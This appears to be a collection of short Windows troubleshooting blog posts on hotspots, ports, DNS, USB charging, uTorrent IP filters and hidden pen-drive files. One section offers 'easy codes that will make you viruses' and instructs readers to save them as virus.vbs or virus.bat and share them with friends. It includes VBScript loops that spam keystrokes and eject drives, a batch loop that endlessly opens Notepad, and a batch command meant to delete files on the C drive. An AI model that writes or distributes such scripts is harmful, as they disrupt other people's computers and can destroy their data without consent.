Problem: Previously my OnePlus Smartphone was connecting to my Dell laptop using Mobile HotSpot. But after some time when I updated my mobile OS updates. My Hotspot was not displaying under the wireless network connections list.

Solution: I found that under Wi-Fi hotspot setting there was one property named AP Band, it has two options 2.4 GHz Band and 5.0 GHz Band. I was not able to connect over 5.0 GHz. so I changed it to 2.4 GHz and applied the changes. It started showing again in the wireless network connections list and I was able to connect it.
Hope it will help.
Problem: When we get a message that port 8080 already in use then it becomes very difficult to use the same port for different processes.
Solution: Just run the below commands in command prompt and whoop! magic happens.
Follow the screenshot for the reference.
Sample commands:
netstat -ano | findstr :8080 (replace 8080 with your port)
taskkill /F /PID 11237 (replace 11237 with your pid)
A sample screenshot is for port 8088
If you know that your internet is working fine and still you are facing this error on visiting website's URL. Then below given solution can solve your problem.
Problem :
Server not found
Firefox can't find the server at www.blogger.com.
- Check the address for typing errors such as ww.example.com instead of www.example.com
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.
Solution :
Step 1: Open Command prompt : Press Window Key + R, type cmd then click on OK button.
Step 2 : Type ipconfig /flushdns and press Enter. A message will appear stating Windows IP configuration Successfully flushed the DNS Resolver Cache.
Step 3 : Type exit on command prompt to close command prompt.
Many-times I have to charge my mobile with my laptop but i can not down my laptop's lid because of phone charging goes off. But Now i can charge my mobile even by closing my laptop lid with a small change in Device Manager Setting.
Important : This will only work when your laptop is charging (Not using Laptop Battery)
Device Manager >> Universal Serial Bus Controllers >> Generic USB Hub >> Properties
Power Management :
Uncheck "Allow this computer to turn off this device to save power"
If This solution is not working then go to your Laptop BIOS to Enable "USB Wake Support".
BIOS >> Advanced >> USB Wake Support
Enable USB Wake Support and then exit with save.
Also Read : Windows 8 : Add or Remove Sleep or Hibernate in Power Options Menu of your PC
Also Read : Stop or disable skype Auto-launching in Windows 8 on startup
We can stop/disable skype on windows startup by following steps:
Method 1: Ctrl+Shift+Esc (open Task manager) > Startup > Disable Skype
Method 2: Open Run > type msconfig > System Configuration (Disable Skype here or it will give open task manager link) >Task Manager > Startup > Disable Skype
(See Picture)
uTorrent is one of the more popular free torrent clients. The installer size is tiny and only a fraction of system resources are used when the program is running.
µTorrent is Very Easy Way to Download Files. Its Very Convenient to Download through this Software. The Main & very Excellent Feature of this Software is that you don't have to worry about your Link Breakdown or wait to Shutdown your Computer till your Download is Completed. It works when it gets the Internet Connection and Starts its Work. It Resumes the Downloads from where it was Interrupted.
Steps to block connecting Peers or IP Addresses:
Step 1: Options > Preferences > Advanced or press (CTRL+ P) and set the value of ipfilter.enable to true.
Step 2: Click the Peers tab. Right-click anywhere inside the Peers tab and uncheck “Resolve IPs” Tab.
Step 3: Open a Notepad window and manually type in any IP address per line that you wish to block, you can also block range of IPs eg. 192.168.2.xxx-192.168.2.xxx. Save the Notepad window (with the IP addresses) as “ipfilter.dat” (including the quotes).
Save/Paste this file on following location :
C:\Documents and Settings\<username>\Application Data\uTorrent (For Windows XP, 2003 and 2000).
C:\Users\<username>\AppData\Roaming\uTorrent (For Windows Vista, 7 and 8, 8.1).
Shortcut : Click Windows+R to open RUN an type %AppData%\uTorrent to open location.
Step 4: Right click anywhere on the Peers Tab and select Reload IP Filter:
This will block all IP Addresses that are present in your ipfilter.dat file.
Below, I have given different ways to open control panel in Windows 8 and 8.1.
1. Right click on Windows
and click on Control Panel.
2. On your desktop, open the Charms Bar, click on the Settings charm, click on Control Panel.
Or you can directly open Settings charm by pressing Windows
+ I keys.
3. Open Computer, In the Computer tab, click on Control Panel in the ribbon.
4. Open Computer, click on the first arrow on the left side in the address bar, click on Control Panel in the menu.
By following simple steps you can add Sleep or Hibernate to your PC's Power Option Menu :
1. Open Control Panel > Power Options.
Or you can directly open Power Options by clicking on battery icon.
2. Now click on "Choose what the power buttons do" link given in left sidebar.
3. Then click on "Change settings that are currently unavailable" link given at the top and scroll down to bottom.
4. You'll notice that "Hibernate" or "Sleep" option is unchecked. Enable the option and apply the changes.
5. That's it. Now you can see missing hibernate or sleep option in power menu of Windows 8 as shown in following screenshot:
I am providing easy codes that will make you viruses using notepad. This code based files can harm your computer so do not try these tricks on your own computer. Copy given code to Notepad and follow the given instructions.
1. Toggle your friend's Caps Lock, Num Lock, Scroll Lock buttons :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
Save this as "virus.vbs" and share it.
2. Frustrate somebody by making him/her hit Backspace again and again :
MsgBox "Please try to go back"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save this as "virus.vbs" and share it.
3. Ejecting your friend's CD Drive again n again :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save this as "virus.vbs" and share it.
4. Creating Virus That Format C Drive : (for Win XP)
@Echo off
Del C:\ *.* |y
Save this as "virus.bat" and share it.
5. Open Notepad continually in your friend's computer:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save this as "virus.bat" and share it.
Problem : Pen drive has data but it is showing empty.
Solution : Sometimes data remain hidden so make sure files are not in hidden mode.
To show hidden files
Computer --> Organize --> Folder and search options --> view --> Show hidden files, folders and drives
Check your pen drive if still it is not displaying data then follow below steps :
Step 1: Click on "Start" --> "Run" or "win+r"--> Type "cmd" and press Enter.
Step 2:
Enter this command.
attrib -h -r -s /s /d g:\*.* --> Press Enter
(where "G" or "g" is your drive letter or you can replace "g" with your pen drive letter in this command)

You can copy the above command --> Right-click in the Command Prompt and paste it.
Step 3: Now you can check your pen drive data.
when you see this error then please check again your java script code because this is a javascript error, and it's usually happens when an recursive method called.
That caused JavaScript to perform the unwanted Recursion.
The stack is a working area of memory that grows and shrinks dynamically
with the demands of your executing program. Its limits have been
exceeded.
To correct this error(for Visual Basic)
- Check that procedures are not nested too deeply.
- Make sure recursive procedures terminate properly.
- If local variables require more local variable space than is available, try declaring some variables at the module level. You can also declare all variables in the procedure static by preceding the Property, Sub, or Function keyword with Static. Or you can use the Static statement to declare individual static variables within procedures.
- Redefine some of your fixed-length strings as variable-length strings, as fixed-length strings use more stack space than variable-length strings. You can also define the string at module level where it requires no stack space.
- Check the number of nested DoEvents function calls, by using the Calls dialog box to view which procedures are active on the stack.
- Make sure you did not cause an "event cascade" by triggering an event that calls an event procedure already on the stack. An event cascade is similar to an unterminated recursive procedure call, but it is less obvious, since the call is made by Visual Basic rather than an explicit call in the code. Use the Calls dialog box to view which procedures are active on the stack.
Disclaimer
We shall not be liable for the improper or incomplete transmission of the information contained in this communication nor for any delay in its response or damage to your system. We do not guarantee that the integrity or security of this communication has been maintained or that this communication is free of viruses, interceptions or interferences. Anyone communicating with us by email accepts the risks involved and their consequences. We accept no liability for any damage caused by any virus transmitted by this site.